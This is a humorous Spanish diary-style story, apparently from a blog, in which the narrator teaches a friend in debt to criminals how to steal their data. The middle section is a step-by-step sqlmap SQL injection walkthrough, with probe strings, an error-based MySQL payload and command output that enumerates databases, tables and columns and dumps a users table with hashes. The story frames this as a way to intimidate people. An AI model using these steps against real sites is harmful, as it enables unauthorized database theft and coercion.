Querido Diario…

Usé mi último cubrebocas para evitar la explosión dentro del coche. Aún así, termine con todo el pantalón mojado, y por el calor se seco muy rápido y se hizo duro.

Al llegar estaba Becario, viendo la te… bueno, en realidad estaba dormido. Lo desperté aplaudiéndole en la cara, saltó y se dio un golpe en la cabeza.

- ¿Qué haces aquí? - pregunté mientras sacaba dos tazas, servía el contenido la jarra y le daba una taza a Becario
- Perdón, pensé en ser respetuoso y esperarte afuera, pero empecé a vomitar del calor
- Hum... los cachanillos dirían "está calientito"
- ¿Calientito?
- Si, aun puede estar peor.... ten, bebe
- ¡Ahhhhh!, duele.. ¿qué es?
- Teoricamente, cerveza... en la práctica no sé, a mi me sabe como champiñones
- ¿Joven de donde sacaste esto?
- No hay cerveza en la ciudad, ni de niña... así que unos amigos me vendieron cerveza ilegal, porque tampoco pueden producir por ahora
- ¿Y aun ves algo?
- Lo normal

Me senté mientras Shellcode se hizo bolita a mi lado, y di un trago largo. Era horrible.

- ¿No me vas a decir algo por forzar la puerta? - preguntó Becario
- No, hay confianza... creo que me hubiese preocupado más si llego y te encontrase desmayado bajo 40 grados
- Hum.. joven, ¿que tan turbio e ilegal eres?
- Pues... mira... tengo cerveza ilegal pandémica y coronaviruleada fabricada por haitianos refugiados
- Bien, eres muy ilegal... necesito de tu ayuda
- ¿Ahora qué pasó joven?, ¿ya encontraste a tu esposa?
- Hum...
- Ok... rayos, quería tener una ahijadita
- Hum... joven, por todo esto.. terminé metiendome con gente que no debía
- Define "metiendote"... ¿estas sidoso?
- No que yo sepa
- ¿Entonces?
- Le debo mucho dinero a gente muy mala que me quiere desaparecer
- Ouuuu... eso es muy complejo, tomando en cuenta que tú eres el pozolero
- Necesito ayuda joven, esos tipos no me dejan en paz
- Hum...

Tome un trago largo, entre más se bebía menos mal sabía. Becario se veía confundido, debe de ser algo peligroso para que venga a pedirme ayuda, usualmente Becario es un tipo hábil, dicen que era una mala persona hace mucho; confiaría bien en su habilidad para desaparecer personas y hacer trabajos turbios.

- La mejor forma de librar de esa gente, es tener suficiente información de ellos como para que tengan miedo de ti, y entonces no se atrevan a hacerte algo
- Tengo su número

- Hace mucho tiempo, la gente tenía archivos TXT muy largos, con un montón de querys de SQL, divididas por DBMS y las ibamos usando una a una; luego que encontrabas una vulnerabilidad ibas sustituyendo sobre tu propio archivo las strings y terminabas con un desm%&/( de query... hoy la vida es diferente
- ¿Dejaste el SQL por las armas?
- No, sólo empecé a usar cosas automatizadas... había una cosa increíble llamada Pangolín, pero desapareció; ahora tenemos que conformarnos con SQLMap
- ¿Cómo me va a ayudar eso?
- Vas a robar la información de esos tipos
- ¿Cómo?
- Hay dos formas principales en que las aplicaciones web mandan y reciben información; una es por el método GET y otra por el método POST.. al final el punto es que son variables, inputs donde el usuario tiene interacción:

http://www.cosa.com/section.php?id=51

- Esos inputs, son los que debes de probar
- Ajá, ajá, pero y luego ¿qué?
- Pues usualmente pasarías mucho tiempo mandando strings de prueba como ', '1 or 1==1, >'>·", pero... con SQLMap no, sólo le pasas el URL y listo:

python sqlmap.py -u "http://www.cosa.com/section.php?id=51"

- ¿Y ya? - preguntó Becario, me puse de pie y le serví más cerveza - Joven, esto sabe horrible, me va a doler la panza
- Lo sé, bebe... si, teóricamente eso es todo; obtendrás los parámetros vulnerables de la aplicación:

[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

- Peroooo... en realidad aun falta buscar que es exactamente lo que quieres extraer. Lo más común es primero, hacer un descubrimiento de las bases de datos que tienes en el servidor:

$ python sqlmap.py -u "http://www.cosa.com/section.php?id=51" --dbs

[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[] information_schema [] safecosmetics

- También es importante encontrar algunas tablas, sobre todo para buscar usuarios, contraseñas o en algunas ocasiones guardan información sensible allí. Algún día Cachanillo me explicó las ventajas de porque guardar información binaria en las bases de datos, pero mientras hablaba, yo sólo pensaba en como podía robarla.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D tablaiportante

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
……….. more tables

- Cuando tienes ya la tabla, sólo la sacas:

$ python sqlmap.py -u "http://www.cosa.com/section.php?id=51" --columns -D tablaimportante -T users

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)
[12:17:45] [INFO] retrieved: name
[12:17:46] [INFO] retrieved: text
[12:17:47] [INFO] retrieved: password
[12:17:48] [INFO] retrieved: text

…….

[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column | Type |
+-------------------+--------------+
| email | text |
| hash | varchar(128) |
| id | int(11) |
| name | text |
| password | text |
| permission | tinyint(4) |
| system_allow_only | text |
| system_home | text |
+-------------------+--------------+

– Y ya que sabes donde está, obtienes los datos:

$ python sqlmap.py -u "http://www.cosa.com/section.php?id=51" --dump -D tablaimportante -T users

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash | name | email | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1 | 5DIpzzDHFOwnCvPonu | admin | | | 3 | | |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

- Eso si ya me da miedo - Becario se paró y se sirvió por su cuenta más cerveza
- ¿Algo más? - repartí lo que quedaba del envase de plástico en las dos tazas
- ¿Me das asilo unos días?, ya sabes... por si vienen por mi
- Si, supongo el calor los mantendra lejos

Querido Diario…

Subí y le dejé la habitación de la izquierda, colocó su ropa y tomó un baño. Más tarde estabamos viendo series.

- Joven, ¿qué tan ilegal eres?
- Compré cerveza ilegal?
- Ohhh... bien, confiaré en ti.